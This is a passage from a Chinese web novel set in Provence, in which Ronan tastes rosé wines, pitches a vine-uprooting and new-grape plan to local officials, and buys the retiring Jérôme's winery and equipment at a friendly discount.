歌海娜和神索是普罗旺斯粉红酒中最常见的组合,猜中了也不稀奇。 这次昆西没有让罗南自己选,而是主动拿起一杯颜色适中的递给罗南: “再品品这个。” ‘哗啦哗啦——呸——’ 罗南把酒吐出去,很是回味的摸了摸嘴唇: “有水果和花的香气,酒体清爽,但入嘴有矿物质感,还有明显的香料尾调,层次更丰富了,用了歌海娜、神索和西拉。” 普罗旺斯粉红酒酿制的基础是歌海娜和神索的组合,无论是单独酿制还是混酿都是只能卖到餐酒的价格。 加入拥有香料味、皮革味、微弱奶油香气和巧克力味的西拉,使得层次更加丰富,售卖的价格也会相应的提高。 昆西立即把第四杯酒交给罗南。 这一次罗南的品酒过程变得更长了,似乎不舍得把酒吐出去似的。 最后他依依不舍的开口: “终于喝到一款‘好酒’了,有明显的果香和香料味道,是歌海娜和西拉的组合,不过还多了一点咸鲜,这款酒的度数比之前三杯高,入口明显厚重了,说明里面用了高单宁的葡萄,不过酸度非常高,所以与歌海娜和西拉搭配的,是可以提高酒体结构的慕合怀特。” 慕合怀特是普罗旺斯产区用于提高葡萄酒结构感最常见的选择,也是高端酒的代名词。 “看来你最喜欢这瓶啊,一会拿回去吧。”布兰科看到昆西的表情,知道罗南又答对了。 罗南的表现印证了布兰科的决策是对的,他太给卢尔马兰和自己争气了! “不了。”罗南摇头,“品酒可以,我不爱喝口感太厚重的,这款对我来说也太酸了。” 慕合怀特的确很高级,但也有一点点问题,就是它的酸度和单宁都很高,而高单宁代表着更种的涩口感放在红葡萄酒里没有问题,对于一部分喜欢喝轻盈粉红酒的爱好者来说,会显得过于厚重。 斯特斯加的高端酒线使用的也是慕合怀特,不过卖的不是特别好,而罗南平时喝的最多的那款酒里只有歌海娜和神索。 他和佐伊都不喜欢太厚重、太酸的酒。 另一边,昆西仍然不能完全放心。 普罗旺斯粉红酒用来用去就是那么五六种葡萄,万一罗南是运气好,蒙的呢? 但他这个‘粉红酒大师’还有其他办法验明真假! “如果觉得酒体太酸、单宁太厚重应该怎么办?”昆西以闲聊的口吻问,“你知道的,慕合怀特是普罗旺斯高端粉红酒绕不开的一款葡萄。” 罗南抱胸做思考状: “在普罗旺斯,单宁最好的中和剂是神索,神索几乎可以忽略单宁的存在、非常轻盈,但加多了神索会和慕合怀特冲突.高单宁的慕合怀特可以让酒陈年20年以上,轻盈的神索最好趁鲜饮用;用堤布宏?单宁是能降下来,但堤布宏的酸度也很高.而且这两种葡萄在普罗旺斯都属于高价葡萄,成本太高了,似乎很难两全啊,让我再想想——” 昆西眼中满是惊喜。 罗南真的懂酿酒! “这个问题我回去好好思考一下,过几天来回答你。”罗南又拿起了一杯酒,“咱们继续。” 昆西一把抢走了罗南手里的酒杯: “你确定,如果找不到酿酒师,你也可以暂时充当这个角色?” 已经不需要再验证什么了! 同样的问题,昆西问过许多酒庄老板和酿酒师。 他们都说,在普罗旺斯的高端粉红酒中无法做到完美的单宁、酸度和轻盈感平衡,必须要做出取舍。 罗南可能不是一个好的酿酒师,但他绝对不是外行人,而且品酒非常厉害。 这代表他可以做好一个好的‘监督者’身份,即使未来邀请来的酿酒师不是顶级的,但和罗南的配合下,至少能保证斯特斯加的品质不会下降。 罗南笑着耸肩: “即使中途遇到什么困难,我也可以去咨询斯特斯加的前老板杰罗姆,我相信他会帮助我的。” “好!”听到这句话昆西更加放心了,他看向布兰科,“这真是个意外,如果这一点也有了保障,那下一步就推进罗南说的人工问题吧,去新教皇新堡招工怎么样?” 昆西留在卢尔马兰最重要的工作是推进粉红酒这部分的工作,他希望酒庄赶紧运转起来,那么工人最好找有经验的。 “不可以。”布兰科和罗南同时拒绝。 罗南直接表达自己的态度: “我希望工人全部来自卢尔马兰。” 布兰科点点头,补充道: “政府的态度也是给本村村民创造出更多的工作机会,这是经济增收的核心。” 昆西则有不同的意见: “未来几年卢尔马兰围绕旅游业的工作岗一定有许多,不用非要局限在眼前的一个粉红酒庄,特殊项目特殊对待,从重要程度上讲,只有粉红酒庄尽早运作起来,才能给卢尔马兰带来实际的增收。” 布兰科正在措辞如何和昆西解释,罗南先一步开口: “可能等不到未来那么长远,卢尔马兰马上就要有一批村民的工作问题需要解决了。” 布兰科皱着眉头看过去。 我怎么不知道有这事? 罗南小声对布兰科说: “其实我有件事一直没和你说,你先先听听这件事,我才好说后面的。” 布兰科平静的说: “你可以现在说出来。” 罗南咂了下嘴: “但那和旅游没有什么关系,是和农业相关的。” 布兰科看了一眼昆西,寻求他的意见。 昆西笑着站起来: “我和克劳德还有关于卢尔马兰城堡翻修的细节没有对清楚,你们先聊农业的事情,之后统一了想法我们再说后续。” 朋友们,那我先失陪了。 罗南没有浪费时间,马上对布兰科说: “我猜你已经知道了,地里埋的那些葡萄情况不太好.农业部正在号召葡萄农拔掉高产低价的葡萄种类,他们会给到一定补偿,我想号召大伙参与这个计划,用补偿金贴补寒潮的损失,不想继续种地的农夫安排到我的酒庄里工作,那些想继续种地的可以配合着酒庄种一些高价的新葡萄品种,我听说欧共体正在为葡萄酒太过廉价而苦恼,如果能培育出新的高价葡萄,也可以补全斯特斯加未来在高端市场的竞争能力,我先具体给你讲讲这个‘拔除计划’——” 布兰科还没说什么,已经走到门口的昆西突然闪现回了罗南的对面。 “可以提高高端市场竞争能力的新葡萄品种?是什么样的?”他一脸期待的问。 似乎有一道闪电劈到罗南的头顶。 等等 朱莉特那天讲‘试验田’项目时是不是说过.旅游局也是资助方啊? 第392章 知识没有白学的! 罗南猜旅游局有可能会参与部分‘试验田’项目,但就像他早上写申请报告时遇到的问题一样——他不知道该如何说服这些部门出资。 只能效仿早上的模式,围绕农业部今年的工作计划大作文章。 他讲了‘拔除计划’、讲了‘葡萄酒湖’现象、讲了欧洲共同体对这件事的态度、讲了普罗旺斯是继波尔多后第二个实行该计划的区域、还讲了他和皮埃尔讨论之后得到的结论—— 高产低价的葡萄拔除后,普罗旺斯必定会出现新的高价葡萄品种,这是解决‘葡萄酒湖’现象的核心。 怕这些理论类的东西太过空洞,罗南又举了一些现成的例子: “为了追求高级感和结构感,普罗旺斯的粉红酒会加入慕合怀特,但就像昆西说的那样,加入慕合怀特后,现有的葡萄品种很难中和单宁和酸度,这种口味的酒不适合新世界地区用户的品酒习惯,美国人不喜欢太酸的酒,他们喜欢甜的、轻盈的,类似的地区还有许多,因此可以试着开发新的高级葡萄品种,降低单宁和酸度.原有的酿酒配方不变,在保留普罗旺斯特色的基础上,增加新的酒种,让斯特斯加更具有竞争力。” 罗南脑袋里的那些知识全部派上用场了。 从欧洲市场的粉红酒特色,聊到美洲市场的粉红酒特色,再到亚洲、东非.把两位领导眼睛都聊直了。 讲到最后,昆西和布兰科觉得自己太单纯了。 原来粉红酒大师在他们面前呢! “你找好目标品种了吗?”昆西难掩激动的问。 旅游局参与‘试验田’的项目不多,多是以辅助的角色出现,推动普罗旺斯旅游标签式作物的新品种开发和保护,例如视觉经济之王薰衣草,又例如地中海文化符号橄榄。 虽然葡萄不在旅游局的保护范围之列,但粉红酒是旅游局在意的东西。 根据大区指示,未来他们希望打造出粉红酒与薰衣草、蔚蓝海岸的‘粉-紫-蓝’色系组合,让其成为普罗旺斯新的标志性文化认同符号。 这个时候,就是看普罗旺斯下属的几个省谁能最先把粉红酒打造出圈了! “有几个目标,但我想和专业机构的人接触一下,听听他们的看法。”罗南实事求是的说。 昆西立即站起身: “我现在就去打电话,推动这件事落地。” 罗南在后面叫住他: “但我的申请已经交给农业部了!” 中午他才把信寄出去。 昆西头都不回的说: “需要用钱的事情,农业部总是会想着我们旅游局,我只是让我的同事们早点知道它。” 罗南:“.” 目送昆西离开后,罗南看向布兰科: “所以灾害补偿条款到底是什么样的?你打算什么时候给农夫们公布。” 这关乎罗南什么时候在卢尔马兰推行‘拔除计划’。 布兰科也站了起来,重重的的拍了几下罗南的肩膀: “你啊你,你总是能做出这么多让人想象不到的事情,我们两个政府的官员居然要在你嘴里听到对我们手头工作非常关键的消息你说的这个信息非常重要,我要组织大家开个会,讨论是否要改变原先的计划,新葡萄品种的开发对于卢尔马兰的农业和旅游业都很重要,我们也许会提高补偿比例,帮助你推行‘拔除计划’的落地。” 说完,布兰科也走了,把罗南一个人留在原地。 罗南在布兰科的办公室里左右打量起来,想看看这里有没有地方能再塞下一张桌子和一把椅子。 每一次来卢尔马兰政府都能听到好消息,罗南决定搬过来工作! “你干什么呢,还不走?”布兰科突然杀了个‘回马枪’,把罗南吓了一跳。 罗南赶紧拿起一个酒杯,装作细细品尝的样子: “喝了酒再走,都倒出来了,不喝浪费。” 布兰科对罗南摆摆手,示意他出去: “你也别闲着,赶紧去教皇新堡把斯特斯加的合同确定下来,付款的日期希尔维已经和前老板聊好了、也拟好了合同,你先去确认细节和条款,之后我会派懂法律的职员协助你签约。” 旅游局参与了‘试验田’的事,罗南晚上没敢给朱莉特打电话。 虽然他做也没做什么对不起农业部的事,但不知为何,就是有一种心虚感作怪,而且他也拿不准该不该和朱莉特说昆西介入的事.万一这两个部门有什么他不知道的关联呢? 索性就当什么都不知道、什么都没发生过,等朱莉特收到申请书联系他时看看情况再说。 但他给杰罗姆打了一个电话。 “那批货这么快卖完了?”杰罗姆开玩笑的说,“不知道以后的新老板能不能把你和雅克这两个大客户留住,你们两个人的进货量太恐怖了。” “是啊,又卖完了,一个是通知你再送一批货,另外我明天想去一趟斯特斯加酒庄,你有时间吗?”罗南语气平静的问。 杰罗姆笑着叹了一口气: “不用来告别我的朋友,西奥多尔三天两头往我这里跑搞的好像以后见不到似的,伊内斯也是,特地来和我吃了一顿饭,雅克那个家伙,一周让人给我送了三次东西,你们真是的,退休是件愉快的事情好不好。” 上次聚会,杰罗姆透露他和下一任主人即将于近期签合同,一旦合同签完,他就要甩卖‘家当’,离开普罗旺斯了。 罗南笑着回: “我要和你聊的也是一件令人愉快的事情,明天你在不在酒庄?如果不方便,那后天?” 见罗南态度这么坚决,杰罗姆只好答应下来: “好吧,你明天过来,但你不要带什么临别礼物啊,我不需要!” 第二天一早,罗南开车离开卢尔马兰,直奔教皇新堡。 斯特斯加酒庄里的工人已经没有几个了,显得格外冷清,不过硕大的酒庄里很干净,没有垃圾也没有什么杂草,一看就是有人在精心的呵护。 罗南猜那个人是杰罗姆,因为他去的时候,正好看到杰罗姆在照料厂房门口的花圃。 “今年可能看不到你们开花了。”杰罗姆像一个老花农一样仔细的拔草浇水,一看就是经常干这些事。 罗南背着手站在他身后问: “酒庄、葡萄园和机械卖出去了吗?” 杰罗姆直起身子,指了一个方向说: “有一个度假集团看上了这个酒庄,想要改成酒店,葡萄园不着急卖,只要挂出去马上就能被这周围的酒庄瓜分了,教皇新堡的地非常抢手,设备我打算等和下一个老板签完合同后低价甩卖了,只用了2、3年的新设备三折卖,肯定能很快卖出去。” “好了不说这些了。”杰罗姆放下工具,欢快的把罗南带进酒庄里,“来帮我消化消化库存吧,还剩下太多酒没有卖完呢!” 罗南笑着跟他走了进去: “好,今天我们好好的喝几杯。” 杰罗姆的家就在酒庄里。 知道今天要来朋友,他妻子特地做了几道拿手的菜肴招待罗南。 吃饭的时候,罗南发现这两口子的情绪完全不一样。 杰罗姆的妻子见到一切和粉红酒有关的元素都会伤感起来,也总是会给罗南讲以前她和杰罗姆为了斯特斯加打拼的那些日子。 而杰罗姆则是一副‘终于要退休’的轻松样子,对斯特斯加闭口不言。 “好了亲爱的,你不是烤了一些柠檬蛋糕吗?快去看看它们怎么样了!”杰罗姆亲了妻子一下,“我和罗南还要再喝一会,如果你累了可以先去休息。” 杰罗姆的妻子对罗南挤出一个微笑: “抱歉,我说的可能太多了,你们继续吃吧,我去看看蛋糕。” 妻子离开后,杰罗姆对罗南做了一个耸肩的动作: “原谅她的唠叨吧,我妻子原来是斯特斯加的工人,那个时候斯特斯加还不是酒庄,而是酿酒合作社.斯特斯加陪伴了她二十多年。” 罗南叹气: “理解,突然离开陪伴了二十多年的‘老朋友’,是谁都会难以接受。” 杰罗姆微笑着说: “其实还好,只要别把这件事想的太伤感就好,就像我面对你们,只要想着我们未来还可以见面就行了,没有那么伤心!” 杰罗姆是所有人中看得最开的那个,聚会中面对伤感的情绪,他还能反过来安慰大家。 “我的朋友,你今天来到底是什么事?”杰罗姆给自己和罗南倒好酒。 罗南从随身的公文包里拿出了希尔维替他拟定好的合同,表情复杂的说: “说出来你可能不信,但我也是几天前才知道这个‘消息’,之前联系你的那个买家是卢尔马兰政府,也就是我所在的那个村政府.我今天是来给你送合同的,你先看看里面的条款吧。” 杰罗姆端着粉红酒杯的手停滞在半空,脸上的表情也僵住了。 几秒钟后,他轻轻放下了杯子,露出了一个非常难看的苦笑: “虽然已经做足了心理准备,但看到合同就在眼前的感觉.真的挺复杂的。” 罗南把合同往前推了一下。 杰罗姆拿起合同,随意的翻开第一页,同时像是一个老人家一样絮絮叨叨起来: “你们的政府动作很快啊,不是说要准备一阵子再来签合同吗?怎么这么快,我以为至少要等到四月中才会交接呢,不过这样也好,早点签完,我也可以早点把酒庄和葡萄园——” 杰罗姆突然把合同举到眼前。 指着购买方的名字激动的敲了起来,用力到厚厚的合同像树叶一样弯了下去。 “是你.是你来接手斯特斯加吗?!” 第393章 杰罗姆的倾囊相助 罗南没有任何隐瞒,自嘲的说: “卢尔马兰未来要围绕粉红酒而发展,政府希望把粉红酒和旅游业联系到一起,打造出一个‘粉红酒之乡’,大家都知道我嗜粉红酒如命可能这个重任交给我,他们最放心吧。” 杰罗姆把合同放下,认真的问: “和旅游业联系到一起?你们打算如何宣传?会把斯特斯加包装成什么样子?要更改原先的口味吗?” 罗南不知道‘大大咧咧’的杰罗姆为何突然认真了起来,不过还是耐心的解答了他所有的问题。 又把一部分可以说的细节告知了他,例如马上就要开业的粉红酒博物院和未来要兴建起来的城堡酒庄等。 同时,罗南还以探讨的口吻讲述,卢尔马要利用博物馆带动起粉红酒特色旅游之路等信息。 罗南觉得他讲得挺快的,但不知不觉桌子上的四瓶酒全空了,杰罗姆妻子送来的柠檬蛋糕也快吃完了。 意识到说了太长时间,罗南快速的做了一个结尾: “总之,我们不会改变特斯斯加之前的配方和发展特色,在保证原有水平的前提下,努力把它发展的更高、更全面。” 杰罗姆起身对着外面大喊: “亲爱的,帮我们再拿几瓶酒,再做一个沙拉,谢谢!” 说完,他一屁股坐下来,看着罗南问: “再详细说说那个旅游路线吧,你们打算如何通过孩子让他们的父母买酒?” 杰罗姆并没有一直提问,在罗南讲述的过程中,他也会给予许多有用的帮助,例如爱喝粉红酒的人以女士居多,无论是博物馆还是之后的定制旅游线路都要把这一点考虑进去。 还比如,杰罗姆告诉罗南,尼斯和马赛等沿海城市粉红酒销售量是内陆地区的4-5倍,在夏天旅游旺季,宣传的地区可以离开卢尔马兰,拓展到海边去,而且那个时候外地和外来的游客都聚集在蔚蓝海岸,有助于罗南所想的打开‘新世界地区’市场。 还比如—— “你一定要帮助伊内斯把‘沃克吕兹省粉红酒爱好者协会’保留下来并发展下去,坦白的讲,这是斯特斯加能坚持到今天最强大的依仗.你应该知道,聚会里的成员对粉红酒在普罗旺斯的发展有多重要。”杰罗姆发自肺腑的说。 为了让罗南重视起来,他继续补充道: “不止是阿斯特丽德、伊内斯和雅克,还有农业部的朱莉特和工商联盟的科伦坦他们都是非常重要的角色!” 朱莉特的重要程度罗南已经体会到了,科伦坦他还没有太多的交集。 罗南决定听从杰罗姆的建议,未来和这位官员也多多的打一些交道,尽快熟悉起来。 “好的,我都记住了。”罗南感激的说,“如果未来在经营的过程中遇到了什么问题,我可以随时找你请教吗?” “当然可以!”杰罗姆放下酒杯,“你可以随时给我打电话,你同时还可以去找西奥多尔,那个家伙给斯特斯加提供了许多帮助,每一季酿出的新酒都要先经过他的嘴我才敢推出到市场上,遗憾的是西奥多尔只想做品酒师,否则无论付出多少,我都会把他请来斯特斯加做顾问。” “西奥多尔.”罗南咂了一下嘴。 这同样是一位他不熟悉的协会成员,罗南甚至不知道他住在哪里,联系方式是什么。 只能下次聚会的时候接触一下了。 不过,西奥多尔不是每一次聚会都参加的. “你和伊内斯他们说这件事了吗?”杰罗姆问罗南。 罗南笑着摇头: “没有,我三天前才知道这件事,谁都没有来及通知呢。” 杰罗姆拍了下手: “我帮你召集一次聚会,大家都知道我要卖酒庄,我来发起大伙一定都会来参加,必须得把这个消息告诉所有人,万一有人换个老板就不喝斯特斯加了怎么办?” 罗南安慰杰罗姆: “先不着急通知大家这个消息,等我把酒庄的信息全部摸清楚,卢尔马兰那边的筹备也进入正轨后再通知大家吧,对了,我这次来还有一件事找你,我想看看你的那些设备。” 布兰科一共给了罗南130万法郎的资助。 经营权的价格是80万,但罗南相信杰罗姆一定会给他打一个‘折扣’。 杰罗姆之前给加布里埃尔的报价是50万法郎,那么罗南还有充足的资金把设备也一起买下。 罗南来过许多次杰罗姆的酒庄,那些设备的情况他清楚。 而且杰罗姆连花圃都会悉心的照料,自然会更加悉心的呵护那些机械,既然今天来了,就一起把这件事办了。 杰罗姆也是同样的想法,卖给罗南他更加放心了。 来到酿酒设备间。 杰罗姆按照酿酒步骤详细的给罗南讲: “葡萄分选台你肯定需要,这两个两米长的我免费送你。” “不不不,三折已经很便宜了,一起算进去。”罗南评估了一下这个分选台的大小,两侧可以容纳至少6个人同时工作,大小合适。 杰罗姆笑着说: “和其他设备比起来,这两个分选台可以忽略不计这两套去梗压榨机你也需要吧?这是最核心的设备。” 杰罗姆说的去梗压榨机其实是两个设备,一个是去梗机,一个是压榨机,只不过这两种机械通常是组合在一起使用,采购的时候也会选用一个品牌,很少分开。 不过罗南面前的两套设备里,有一套并不适合他: “我只要这套手动的,半自动的那套不要了。” “啊?你不要那套半自动的?”杰罗姆意外的说,“我还想劝你只买这套半自动的,不要那套手动的呢.” 罗南简单的解释: “卢尔马兰发展粉红酒的背后有沃克吕兹省旅游局的支持,他们要保护古法手工酿制粉红酒的工艺,未来只能纯手工酿造。” 杰罗姆更加意外了: “旅游局他们管粉红酒——” 突然,他释然的笑了两声,走向下一个设备: “有旅游局的支持我就更放心了,在普罗旺斯,没有政府的协助做什么都很难。” 葡萄处理工序中。 杰罗姆送了罗南两套葡萄分选台,罗南买了一套手动去梗压榨机和一个葡萄传送带,一共花了5万5000法郎。 杰罗姆告诉罗南,一套手动去梗压榨机不够用,未来他还要再采购至少一套、最好两套设备。 “市面上全新的去梗压榨机组合需要多少钱?”罗南问杰罗姆。 杰罗姆对这些设备很了解: “全新的至少9万法郎一套,好一点的要15万以上,当然了,这是纯手工设备的价格,如果是自动的再乘以3吧。” 罗南不动声色的撇了撇嘴。 预算还是很紧张啊这些设备太贵了。 杰罗姆带罗南去往下一个操作间: “我帮你问问这周围有没有酒庄卖比较新的二手设备,现在自动化普及了,许多酒庄的手工设备都闲置了下来。” “那太感谢你了。”罗南惊喜的说。 杰罗姆侧身让罗南进入下一厂房: “和斯特斯加有关的事怎么能说‘谢’呢?” 罗南拍了拍他的肩膀,进入了发酵与陈酿间。 “你这里没有橡木桶?”其实上一次来斯特斯加罗南就想问了。 他只在这里看到了不锈钢储存罐,没有看到一个橡木桶。 杰罗姆无奈的说: “要陈酿的酒才需要橡木桶,粉红酒更适合当年饮用,用不上那些。” 罗南意外的问: “没有人收藏粉红酒吗?” 如果连斯特斯加的粉红酒都没人收藏,那么普罗旺斯就没有其他可以收藏的粉红酒了。 杰罗姆从他的理解出发,给罗南解释: “从受众角度考虑,喜欢喝粉红酒的人群大概有这样几种,第一种是都市女性,粉红酒的高颜值给她们提供了很好的下午茶或者用餐气氛;第二类是年轻人,就比如你或者那些艺术家们,粉红酒清爽易饮,非常适合社交的场合饮用;第三部分人群是健康生活者——” “健康生活者?”罗南没有忍住,打断了杰罗姆的话,前两种人群他理解,但是这个健康生活者他有些不理解了。 杰罗姆笑着说: “一部分年纪较大,或者在意身体健康的人也会选择粉红酒饮用,为了营造轻盈感,粉红酒中的单宁含量是红葡萄酒的1/20,更低的单宁可以减少头痛的风险。” “居然还可以这样?”罗南真是大开眼界了。 杰罗姆挑眉: “千真万确,这是我卖了几十年粉红酒总结出来的经验。” 杰罗姆的分享给了罗南新的启发。 既然有这种的健康人群的存在.是不是可以以此为卖点而宣传些什么呢? 注重身体健康的人,一定是生活水平还不错的家伙。 罗南从来没从卢尔马兰的农夫嘴里听到过关于健康饮食的事情。 同时,这也让罗南更加坚定了培育新葡萄品种的目标。 昨天和昆西说,培育新葡萄品种的目标,是解决高端葡萄品种慕合怀特酸度和单宁过高的问题,那个时候这样说是为了获得旅游局的支持。 但现在看来.还真让他说对了啊。 低单宁说不定真是高端粉红酒破局的一个关键! “最后一份部分喜爱喝粉红酒的人群是葡萄酒新手。”杰罗姆继续给罗南分享他的宝贵经验,“粉红酒口感亲和,不涩口,对刚刚接触葡萄酒的人非常友好。” 杰罗姆突然停下来,回头问罗南: “你想到什么了吗?” “什么?”罗南侧了下脑袋,没有什么头绪。 杰罗姆露出了一个明媚的微笑: “不是每个人都像普罗旺斯人一样从小接触葡萄酒,对于红、白葡萄酒来说,口感柔和的粉红酒是更好的选择,所以说你和你的政府做出了非常明确的决策——粉红酒就该和旅游业紧密的联系在一起。” 你现在知道,为什么我会突然认真起来了吗? 因为你们找到了粉红酒最正确的发展方式! 第394章 出卷老师参加考试——作弊! 杰罗姆给罗南讲了游客的重要性、讲了普罗旺斯有哪些名人是粉红酒的爱好者、讲了各个城镇对不同酒型的接受程度、讲了大客户们的具体情况 这位前斯特斯加的拥有者对罗南没有任何保留,把这几十年的粉红酒经验全部讲了出来。 在罗南快速吸取知识的同时,又买下了3个大容量的发酵罐、一台板框过滤机和一套检测系统,打完3折后的价格是18万多法郎,不过杰罗姆只要了罗南15万。 算上之前的那5万5,罗南一共在杰罗姆这里买了20万5千法郎的设备。 “之后你需要改造一间自然控温室,再买1-2套去梗压榨机、2-3台手动灌装机、3套封蜡工具和一套消毒设备.差不多够了。”杰罗姆贴心的对罗南说,“我帮你找购买渠道。” 杰罗姆这里还有一套控温设备可以卖,不知为何没有算进去。 “那套控温设备不卖吗?”罗南记得杰罗姆说过,那套控温设备是最先进的。 杰罗姆哈哈笑了两声: “我掉进了坑里,不就帮你排雷了?改造一间自然控温室足够,只要2万多你就别买那套十几万的设备了,我卖给其他人。” 不给罗南反应的时间,杰罗姆推着他离开设备间: “好了,设备看完了,我们回去再聊聊,趁着我还没离开普罗旺斯,能帮你一点是一点。” 罗南是上午来的,但他在教皇新堡待了整整一天,吃完午饭又吃了晚饭.等到太阳西下还没有离开。 “你快看一看合同吧,别这个最主要的事情没有弄完。”罗南催促杰罗姆赶紧办正事。 杰罗姆今天的全部精力都放在了传授经验上,这份合同他看都没看一眼。 罗南觉得自己不是一般的幸运。 开餐厅时,有经验丰富的雅克先生帮他处理各种资质问题,还避开了许多常见的错误。 现在接触了比餐厅复杂了不知多少的酒庄,又有普罗旺斯最厉害的粉红酒庄老板‘倾囊相助’.设备比3折更便宜,经验不要钱的白送,缺的东西杰罗姆也会帮罗南找到既便宜又好的。 这搞得罗南完全不好意思和杰罗姆‘砍价’了。 在杰罗姆看合同时,罗南快速计算着现在手里的钱数。 如果80万经营费用不变,减去已经确认的20万5千设备款,那么还剩29万5000。 按照每套去梗压榨机5万法郎计算,再买两套是10万。 手动灌装机7000/台,3台是21000。 封蜡工具价格在4500法郎左右,3套13500。 消毒设备是12000。 这样算下来,买完所有的这些,罗南还能有15万左右的费用用于购买其他耗材,例如酒瓶、标签等等。 不过收购葡萄的资金和人力成本就要从自己的存款里出了。 3月底,罗南的存款额是75万,9月之前这个数字肯定会更多,不是完全不能承担. “哦,对了,你的种植负责人、酿酒负责人和市场负责人定了吗?”杰罗姆刚看两眼合同,又想起来了重要的事情。 罗南摇头道: “都没有呢,不过种植负责人暂时不需要,之后我会在卢尔马兰的农夫手里收葡萄,酿酒师.暂时有一个人选,市场负责人还没有找。” 杰罗姆思考了一下,有些尴尬的说: “忘记是政府支持你开酒庄了,不过从长远考虑,酒庄最好能配备更多的葡萄园,两者结合起来,酒庄的价值和葡萄园的价值都会出现巨幅的提升,普通农田比葡萄园便宜,偏远的葡萄园又比农舍周围的葡萄园便宜,而农舍周围的葡萄园又比酒庄附近的葡萄园便宜.而一般产区酒庄附近的葡萄园又比优秀产区酒庄附近的葡萄园便宜。” 杰罗姆耸肩: “如果你对卢尔马兰未来的发展有信心,要考虑这个问题了,你应该知道,最近普罗旺斯的房价和地价都在快速增长。” 罗南笑着摇了摇头,没有说什么。 我上哪弄钱买地啊? 酒庄都是人家资助着才开起来 杰罗姆操心的说: “市场负责人尽量找对沿海城市熟悉的,在没有打开新销路前,那里是普罗旺斯最大的粉红酒市场。” “感谢你,杰罗姆。”罗南感激的不知该说什么。 这个家伙真的处处在为自己着想啊! 算了算了,那30万就用杰罗姆宝贵的经验换吧,罗南决定以后要频繁的骚扰这个家伙。 想退休去马德里养老? 没门! 时钟很快来到晚上7点,罗南必须要回去了。 “合同看完了吗?”罗南不知第多少次询问。 杰罗姆总是看一眼就和他说些别的话题,注意力根本就没有放在它的上面。 “哎呀,我哪里看得懂这些繁复的条款,等明天我把律师叫来再看吧。”杰罗姆把合同放到桌子上。 罗南想了想,觉得也有道理。 之后让布兰科给他提供的懂法律的职员和杰罗姆的律师对接,他们两个只需要对一些交易的细节。 例如刚刚手写上去的设备数量和金额对不对,双方交易的内容有哪些等等。 罗南离开前做了一次快速的检查。 去梗压榨机50000,没错。 葡萄传送带5000,没问题。 检测系统30000,数字没错。 下面是经营权的转移和商标授予部分嗯,详细的法律条款罗南也看不懂,他只需要看那个数字。 80000,嗯,没错,80万法郎。 诶.等等! 1,2,3,44个零? 那里原先有5个零,被人用笔涂掉了一个。 “这个数字错了。”罗南把合同举过去,“卢尔马兰政府的同事告诉我,他们和你聊的是80万。” 杰罗姆舒缓的伸了一个懒腰: “但现在买家变了啊。” 罗南一边摆手一边找笔,想要改那里的数字: “换了买家也是之前的价格啊,之前你说的是50万,你想给我打折就50万好了。” 杰罗姆把罗南的笔摁了下去: “50万是给加布里埃尔的价格,但现在的买家是你斯特斯加能找到你这个下家,你知道我有多开心吗?而且你背后还有卢尔马兰政府和沃克吕兹省政府的帮助,你们一定会把斯特斯加做的更好。” 见罗南还要反抗,杰罗姆用开玩笑的语气说: “好了孩子,你知道我的那50公顷葡萄园,现在能卖多少钱吗?你不会是可怜我这个老人家没有钱养老吧?” “多少公顷?”罗南的嗓音不由得提高了好几个八度。 这里可是教皇新堡,普罗旺斯最重要的AOC葡萄酒产区,你在这里有50公顷葡萄园吗?? 罗南觉得自己和身价千万的杰罗姆争论那四十多万法郎的经营费非常滑稽。 教皇新堡核心地区的葡萄园价格是25-40万法郎/公顷,地价是卢尔马兰的3倍左右。 他这个穷小子就别和大地主刚什么骨气了,给你你就老老实实拿着吧。 果然无论在哪个时代,地主都是最让人眼馋的! 罗南离开后,杰罗姆开始一个人喝酒,丝毫没有要结束的意思。 “还喝啊,喝一天了。”杰罗姆的妻子看了一眼时间,嗔怪的对自己的丈夫说。 杰罗姆笑呵呵的说: “今天开心,多喝点。” “你真开心?”他妻子阴阳怪气的说,“你给其他人装装样子就好了,跟我还装?院子里的那些树、厂房里的设备,哪个上面没有你的眼泪?” 杰罗姆又给自己倒了一杯酒: “以前在外人面前装作无所谓是强颜欢笑,但今天我真的很开心,亲爱的.我们的斯特斯加找到了最好的主人,未来它一定会越来越好的。” 稍晚一些时间。 距离教皇新堡不远的阿维尼翁。 白天朱莉特收到了罗南寄来的申请书,不过她没有在办公室拆开,晚上带回了家里才拿出来。 试验田项目其实和农业部没有任何关系,也不在朱莉特的工作职责之内。 给罗南找‘金主’完全是纯帮忙。 朱莉特打开罗南写来的申请书,只看了第一行她就笑了。 这个小子是写试验田申请书呢,还是给农业部写‘工作报告’呢,写的都是些什么东西啊! 看了一眼时间,还不算太晚,她给罗南家打去了电话。 罗南一听对面是朱莉特,马上开心的问: “这么快就收到了?” 朱莉特拉扯着电话线说: “收到也没用啊,你写的‘驴唇不对马嘴’,交不出去。” 罗南尴尬的笑了两声: “那不是忘记问你要怎么写了吗?没事,你跟我说说应该怎么写、怎么写才能更好的申请到我想要的东西,我改一份寄给你。” “你去拿纸和笔吧,我把格式和注意事项告诉你。”朱莉特平静的说。 罗南去拿纸笔的时候,朱莉特想到了今天白天发生的事,领导在会上问大家‘气象保险’的工作情况怎么样了。 这个费了农业部巨大心力推出的保险上市一个多月了,官员们也四处去宣讲,但效果平平。 领导非常生气,认为大家的工作没有做到位。 “我回来了,你说吧。”听筒里,罗南的声音再次出现。 朱莉特没有说申请书的事,而是问他: “卢尔马兰的农夫们对气象保险的态度怎么样?” “态度挺好的,觉得保险内容很不错。”罗南实事求是的讲。 “那有多少人会买呢?”朱莉特继续问。 卢尔马兰是她去宣讲的,这个村子的业绩会记在她的头上。 “所有人都会买啊,大家也怕再出什么灾情。”罗南笑着说。 “所有人都买,真的假的?”朱莉特立即坐直了身子。 “真的。”罗南肯定道,“我买他们就跟着买,我已经问完了。” 农夫们的态度很犹豫,不过皮埃尔已经放出话来——罗南买他就买。 这就等于罗南买,全卢尔马兰的农夫都会买。 朱莉特眼中满是欣喜。 罗南真的能号召起来卢尔马兰的农夫? “那你什么时候买?”朱莉特着急拿到这份工作业绩。 罗南无奈的说: “我要先推行拔除计划,让大家把老藤拔了,之后再把新葡萄品种的事处理了,要不然大家种什么?没有的种还买什么保险啊,这不是正在写申请嘛” 朱莉特的情绪更加兴奋了。 对比气象保险,拔除计划是朱莉特更加关注的东西。 说不定罗南真的能在卢尔马兰把这个计划推行下去! “好了,你说吧。”罗南催促道,“我赶紧把‘试验田’的事落实,才有气象保险保险和拔除计划的事情。” 朱莉特沉思了几秒,突然变了口风: “算了,我给你写吧。” “啊?你给我写?”罗南在电话那边惊呼了一声。 朱莉特没好气的说: 